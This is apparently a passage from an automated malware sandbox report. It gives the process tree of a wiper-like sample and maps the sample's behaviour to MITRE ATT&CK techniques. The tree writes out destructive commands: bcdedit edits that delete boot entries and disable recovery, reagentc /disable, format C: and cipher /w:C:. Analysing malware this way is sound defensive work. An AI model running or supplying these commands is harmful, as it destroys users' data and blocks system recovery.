    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2264
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3544
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /deletevalue {current} recoverysequence 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3864
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} recoverysequence
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /deletevalue {current} recoveryenabled 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1248
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} recoveryenabled
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} recoveryenabled No 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2168
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4016
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2144
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /boottore 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3952
- - C:\Windows\system32\ReAgentc.exe
    reagentc /boottore
    3⤵
    - Drops file in Windows directory
    PID:3160
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /export C:\Windows\Temp\bcd.bak 2>nul & del /f /q C:\boot\bcd 2>nul & bcdedit /createstore C:\boot\bcd 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:312
- - C:\Windows\system32\bcdedit.exe
    bcdedit /export C:\Windows\Temp\bcd.bak
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /createstore C:\boot\bcd
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c format C: /Q /FS:NTFS /Y 2>nul & cipher /w:C: 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1576
- - C:\Windows\system32\format.com
    format C: /Q /FS:NTFS /Y
    3⤵
    PID:2312
- - C:\Windows\system32\cipher.exe
    cipher /w:C:
    3⤵
    PID:5040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:236

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:2804

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3132

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

T1082

Virtualization/Sandbox Evasion